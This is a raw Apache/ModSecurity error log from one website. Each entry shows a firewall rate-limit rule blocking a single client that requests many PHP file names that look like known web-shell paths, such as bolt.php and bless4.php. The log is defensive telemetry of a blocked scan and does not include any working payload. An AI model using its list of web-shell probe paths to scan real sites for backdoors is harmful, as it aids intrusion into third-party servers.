[Sun Apr 12 16:45:48.815464 2026] [:error] [pid 26600:tid 26652] [client 68.221.68.72:63541] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adtbvO1YwAZiXhQKLYoP3gAAAZc"]
[Sun Apr 12 16:45:50.205443 2026] [:error] [pid 25328:tid 25408] [client 68.221.68.72:65247] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adtbvsxUaQZxT-e0YsDhwwAAAFg"]
[Sun Apr 12 16:45:51.197112 2026] [:error] [pid 25327:tid 25345] [client 68.221.68.72:63464] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adtbvy6h2tZEVJo9JFK4XwAAAAk"]
[Sun Apr 12 16:45:52.959034 2026] [:error] [pid 60280:tid 60290] [client 68.221.68.72:63522] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "adtbwHBlLnDOYuIykkgmagAAAcg"]
[Sun Apr 12 16:45:53.766668 2026] [:error] [pid 25329:tid 25415] [client 68.221.68.72:65243] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "adtbwWdcIYsS8Iyaj12W_AAAAJg"]
[Sun Apr 12 16:45:55.361042 2026] [:error] [pid 60280:tid 60291] [client 68.221.68.72:63431] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "adtbw3BlLnDOYuIykkgmdQAAAck"]
[Sun Apr 12 16:45:56.285738 2026] [:error] [pid 60280:tid 60296] [client 68.221.68.72:64046] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "adtbxHBlLnDOYuIykkgmeQAAAc4"]
[Sun Apr 12 16:45:57.204352 2026] [:error] [pid 26567:tid 26585] [client 68.221.68.72:64827] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "adtbxXhRpg6ptWFyFx2JIgAAARA"]
[Sun Apr 12 16:45:58.043659 2026] [:error] [pid 25437:tid 25457] [client 68.221.68.72:65324] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "adtbxnf97wYZje1ep_MPnQAAANI"]
[Sun Apr 12 16:45:58.800606 2026] [:error] [pid 25328:tid 25367] [client 68.221.68.72:64818] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "adtbxsxUaQZxT-e0YsDhzwAAAEM"]
[Sun Apr 12 16:45:59.723594 2026] [:error] [pid 25329:tid 25406] [client 68.221.68.72:64006] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "adtbx2dcIYsS8Iyaj12W_wAAAJE"]
[Sun Apr 12 16:46:00.338929 2026] [:error] [pid 60280:tid 60305] [client 68.221.68.72:64020] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "adtbyHBlLnDOYuIykkgmhAAAAdc"]
[Sun Apr 12 16:46:00.961281 2026] [:error] [pid 25329:tid 25399] [client 68.221.68.72:64807] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "adtbyGdcIYsS8Iyaj12XAwAAAI0"]
[Sun Apr 12 16:46:01.565695 2026] [:error] [pid 25328:tid 25379] [client 68.221.68.72:65241] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "adtbycxUaQZxT-e0YsDh1QAAAEs"]
[Sun Apr 12 16:46:02.137841 2026] [:error] [pid 25327:tid 25359] [client 68.221.68.72:64034] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "adtbyi6h2tZEVJo9JFK4ZAAAABc"]
[Sun Apr 12 16:46:02.684905 2026] [:error] [pid 25328:tid 25370] [client 68.221.68.72:64771] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "adtbysxUaQZxT-e0YsDh2AAAAEY"]
[Sun Apr 12 16:46:03.336037 2026] [:error] [pid 26599:tid 26618] [client 68.221.68.72:64742] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "adtby3G89LXoQbk_rwC0lwAAAVA"]
[Sun Apr 12 16:46:03.922842 2026] [:error] [pid 26600:tid 26646] [client 68.221.68.72:65317] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "adtby-1YwAZiXhQKLYoP5QAAAZE"]
[Sun Apr 12 16:46:04.710786 2026] [:error] [pid 25327:tid 25338] [client 68.221.68.72:65327] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "adtbzC6h2tZEVJo9JFK4ZwAAAAI"]
[Sun Apr 12 16:46:05.208143 2026] [:error] [pid 26599:tid 26617] [client 68.221.68.72:64033] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "adtbzXG89LXoQbk_rwC0mAAAAU8"]
[Sun Apr 12 16:46:05.760052 2026] [:error] [pid 26567:tid 26577] [client 68.221.68.72:64054] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "adtbzXhRpg6ptWFyFx2JIwAAAQg"]
[Sun Apr 12 16:46:06.328299 2026] [:error] [pid 25327:tid 25345] [client 68.221.68.72:64727] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "adtbzi6h2tZEVJo9JFK4awAAAAk"]
[Sun Apr 12 16:46:07.059234 2026] [:error] [pid 25328:tid 25385] [client 68.221.68.72:65319] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "adtbz8xUaQZxT-e0YsDh3wAAAE4"]
[Sun Apr 12 16:46:07.598785 2026] [:error] [pid 25328:tid 25389] [client 68.221.68.72:63531] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "adtbz8xUaQZxT-e0YsDh4gAAAFA"]
[Sun Apr 12 16:46:08.197821 2026] [:error] [pid 26567:tid 26572] [client 68.221.68.72:64010] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "adtb0HhRpg6ptWFyFx2JJgAAAQM"]
[Sun Apr 12 16:46:09.032681 2026] [:error] [pid 25328:tid 25373] [client 68.221.68.72:64796] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "adtb0cxUaQZxT-e0YsDh5AAAAEg"]
[Sun Apr 12 16:46:09.576967 2026] [:error] [pid 25329:tid 25386] [client 68.221.68.72:63959] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "adtb0WdcIYsS8Iyaj12XCAAAAIY"]
[Sun Apr 12 16:46:10.170185 2026] [:error] [pid 26600:tid 26643] [client 68.221.68.72:64716] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "adtb0u1YwAZiXhQKLYoP7AAAAY4"]
[Sun Apr 12 16:46:11.083551 2026] [:error] [pid 25329:tid 25399] [client 68.221.68.72:64035] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "adtb02dcIYsS8Iyaj12XCQAAAI0"]
[Sun Apr 12 16:46:11.789821 2026] [:error] [pid 26599:tid 26605] [client 68.221.68.72:61668] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "adtb03G89LXoQbk_rwC0pQAAAUM"]
[Sun Apr 12 16:46:12.435807 2026] [:error] [pid 25437:tid 25440] [client 68.221.68.72:64773] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "adtb1Hf97wYZje1ep_MPogAAAME"]
[Sun Apr 12 16:46:13.212993 2026] [:error] [pid 60280:tid 60293] [client 68.221.68.72:64712] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "adtb1XBlLnDOYuIykkgmmAAAAcs"]
[Sun Apr 12 16:46:14.431743 2026] [:error] [pid 60280:tid 60294] [client 68.221.68.72:63529] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "adtb1nBlLnDOYuIykkgmmgAAAcw"]
[Sun Apr 12 16:46:15.764095 2026] [:error] [pid 25437:tid 25453] [client 68.221.68.72:64008] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "adtb13f97wYZje1ep_MPowAAAM4"]
[Sun Apr 12 16:46:17.050473 2026] [:error] [pid 26599:tid 26604] [client 68.221.68.72:63434] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "adtb2XG89LXoQbk_rwC0qwAAAUI"]
[Sun Apr 12 16:46:17.993178 2026] [:error] [pid 60280:tid 60297] [client 68.221.68.72:61636] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "adtb2XBlLnDOYuIykkgmoAAAAc8"]
[Sun Apr 12 16:46:19.148477 2026] [:error] [pid 25437:tid 25444] [client 68.221.68.72:64048] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "adtb23f97wYZje1ep_MPpAAAAMU"]
[Sun Apr 12 16:46:20.047670 2026] [:error] [pid 60280:tid 60282] [client 68.221.68.72:65306] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "adtb3HBlLnDOYuIykkgmowAAAcA"]
[Sun Apr 12 16:46:20.729249 2026] [:error] [pid 60280:tid 60302] [client 68.221.68.72:63542] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "adtb3HBlLnDOYuIykkgmqwAAAdQ"]
[Sun Apr 12 16:46:21.593640 2026] [:error] [pid 26600:tid 26645] [client 68.221.68.72:64728] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "adtb3e1YwAZiXhQKLYoQAwAAAZA"]
[Sun Apr 12 16:46:22.330312 2026] [:error] [pid 25437:tid 25456] [client 68.221.68.72:64037] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "adtb3nf97wYZje1ep_MPqAAAANE"]
[Sun Apr 12 16:46:22.999107 2026] [:error] [pid 26567:tid 26576] [client 68.221.68.72:65342] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "adtb3nhRpg6ptWFyFx2JNAAAAQc"]
[Sun Apr 12 16:46:23.712286 2026] [:error] [pid 25328:tid 25373] [client 68.221.68.72:64804] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "adtb38xUaQZxT-e0YsDh_QAAAEg"]
[Sun Apr 12 16:46:24.313891 2026] [:error] [pid 60280:tid 60287] [client 68.221.68.72:64737] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "adtb4HBlLnDOYuIykkgmrQAAAcU"]
[Sun Apr 12 16:46:24.978587 2026] [:error] [pid 25328:tid 25396] [client 68.221.68.72:64809] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "adtb4MxUaQZxT-e0YsDh_wAAAFM"]
[Sun Apr 12 16:46:25.494386 2026] [:error] [pid 25437:tid 25457] [client 68.221.68.72:65277] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "adtb4Xf97wYZje1ep_MPrAAAANI"]
[Sun Apr 12 16:46:26.226311 2026] [:error] [pid 60280:tid 60286] [client 68.221.68.72:62847] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "adtb4nBlLnDOYuIykkgmsgAAAcQ"]
[Sun Apr 12 16:46:26.752131 2026] [:error] [pid 26600:tid 26629] [client 68.221.68.72:62849] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "adtb4u1YwAZiXhQKLYoQCgAAAYA"]
[Sun Apr 12 16:46:27.388996 2026] [:error] [pid 25329:tid 25406] [client 68.221.68.72:65339] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "adtb42dcIYsS8Iyaj12XDwAAAJE"]
[Sun Apr 12 16:46:27.917222 2026] [:error] [pid 26599:tid 26611] [client 68.221.68.72:65234] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "adtb43G89LXoQbk_rwC0sQAAAUk"]
[Sun Apr 12 16:46:28.444850 2026] [:error] [pid 25328:tid 25380] [client 68.221.68.72:64761] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "adtb5MxUaQZxT-e0YsDiBQAAAEw"]
[Sun Apr 12 16:46:29.110033 2026] [:error] [pid 60280:tid 60303] [client 68.221.68.72:62873] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "adtb5XBlLnDOYuIykkgmugAAAdU"]
[Sun Apr 12 16:46:29.735510 2026] [:error] [pid 26600:tid 26639] [client 68.221.68.72:64744] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "adtb5e1YwAZiXhQKLYoQDAAAAYo"]
[Sun Apr 12 16:46:30.414679 2026] [:error] [pid 26600:tid 26632] [client 68.221.68.72:63517] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "adtb5u1YwAZiXhQKLYoQDgAAAYM"]
[Sun Apr 12 16:46:31.318830 2026] [:error] [pid 26567:tid 26575] [client 68.221.68.72:64043] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "adtb53hRpg6ptWFyFx2JOgAAAQY"]
[Sun Apr 12 16:46:32.047202 2026] [:error] [pid 60280:tid 60306] [client 68.221.68.72:65236] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "adtb6HBlLnDOYuIykkgmwQAAAdg"]
